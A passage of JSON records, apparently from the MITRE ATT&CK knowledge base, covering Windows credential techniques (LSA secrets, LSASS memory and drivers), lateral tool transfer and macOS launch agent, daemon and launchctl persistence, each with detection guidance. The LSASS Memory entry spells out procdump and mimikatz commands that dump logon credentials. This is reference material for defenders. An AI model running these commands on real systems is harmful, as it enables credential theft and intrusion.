                    "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020."
                },
                {
                    "source_name": "Microsoft AD Admin Tier Model",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN",
                    "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020."
                },
                {
                    "source_name": "Tilbury Windows Credentials",
                    "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf",
                    "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020."
                },
                {
                    "source_name": "ired Dumping LSA Secrets",
                    "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets",
                    "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020."
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "LSA Secrets",
            "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",
            "id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-21T21:12:38.361Z",
            "created": "2020-02-21T16:22:09.493Z",
            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Access",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1177",
                    "url": "https://attack.mitre.org/techniques/T1177"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc961760.aspx",
                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
                    "source_name": "Microsoft Security Subsystem"
                },
                {
                    "url": "https://technet.microsoft.com/library/dn408187.aspx",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "source_name": "Microsoft LSA Protection Mar 2014"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
                    "source_name": "Microsoft DLL Security"
                }
            ],
            "name": "LSASS Driver",
            "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T18:50:28.846Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created": "2020-01-24T18:38:55.801Z",
            "modified": "2020-03-25T16:52:26.567Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
            "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.",
            "name": "LSASS Driver",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.008",
                    "url": "https://attack.mitre.org/techniques/T1547/008"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc961760.aspx",
                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
                    "source_name": "Microsoft Security Subsystem"
                },
                {
                    "url": "https://technet.microsoft.com/library/dn408187.aspx",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "source_name": "Microsoft LSA Protection Mar 2014"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
                    "source_name": "Microsoft DLL Security"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Driver: Driver Load",
                "File: File Modification",
                "File: File Creation"
            ],
            "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ",
            "x_mitre_permissions_required": [
                "SYSTEM",
                "Administrator"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2020-02-11T18:41:44.783Z",
            "modified": "2020-06-09T20:46:00.393Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n",
            "name": "LSASS Memory",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1003.001",
                    "url": "https://attack.mitre.org/techniques/T1003/001"
                },
                {
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "source_name": "Graeber 2014"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/",
                    "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.",
                    "source_name": "TechNet Blogs Credential Protection"
                },
                {
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory"
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: Process Access",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1570",
                    "url": "https://attack.mitre.org/techniques/T1570"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Lateral Tool Transfer",
            "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.",
            "id": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2020-03-23T22:10:10.862Z",
            "created": "2020-03-11T21:01:00.959Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Creation",
                "File: File Metadata"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1159",
                    "url": "https://attack.mitre.org/techniques/T1159"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "source_name": "AppleDocs Launch Agent Daemons"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "source_name": "OSX.Dok Malware"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "source_name": "OSX Malware Detection"
                },
                {
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "source_name": "OceanLotus for OS X"
                }
            ],
            "name": "Launch Agent",
            "id": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-17T16:52:35.818Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1543.001",
                    "url": "https://attack.mitre.org/techniques/T1543/001"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "source_name": "AppleDocs Launch Agent Daemons"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "source_name": "OSX.Dok Malware"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "source_name": "OSX Malware Detection"
                },
                {
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "source_name": "OceanLotus for OS X"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Launch Agent",
            "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).",
            "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-25T22:11:45.513Z",
            "created": "2020-01-17T16:10:58.592Z",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Command: Command Execution",
                "Service: Service Creation",
                "Service: Service Modification"
            ],
            "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1160",
                    "url": "https://attack.mitre.org/techniques/T1160"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "source_name": "AppleDocs Launch Agent Daemons"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "source_name": "OSX Malware Detection"
                },
                {
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "source_name": "WireLurker"
                }
            ],
            "name": "Launch Daemon",
            "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-19T15:08:50.043Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1543.004",
                    "url": "https://attack.mitre.org/techniques/T1543/004"
                },
                {
                    "external_id": "CAPEC-550",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/550.html"
                },
                {
                    "external_id": "CAPEC-551",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/551.html"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "source_name": "AppleDocs Launch Agent Daemons"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "source_name": "OSX Malware Detection"
                },
                {
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "source_name": "WireLurker"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Launch Daemon",
            "description": "Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). \n\nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories  (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. \n\nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation. ",
            "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-09-16T15:46:44.130Z",
            "created": "2020-01-17T19:23:15.227Z",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution",
                "Service: Service Creation",
                "Service: Service Modification"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_effective_permissions": [
                "root"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor for launch daemon creation or modification through plist files and utilities such as Objective-See's KnockKnock application. ",
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1152",
                    "url": "https://attack.mitre.org/techniques/T1152"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                }
            ],
            "name": "Launchctl",
            "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-10T18:31:00.336Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1569.001",
                    "url": "https://attack.mitre.org/techniques/T1569/001"
                },
                {
                    "source_name": "Launchctl Man",
                    "url": "https://ss64.com/osx/launchctl.html",
                    "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020."
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Launchctl",
            "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nBy loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)\n\nRunning a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.",
            "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-06-08T23:28:29.079Z",
            "created": "2020-03-10T18:26:56.187Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "root"
            ],
            "x_mitre_detection": "KnockKnock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Service: Service Creation",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1053.004",
                    "url": "https://attack.mitre.org/techniques/T1053/004"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "source_name": "AppleDocs Launch Agent Daemons"
                },
                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                }
            ],
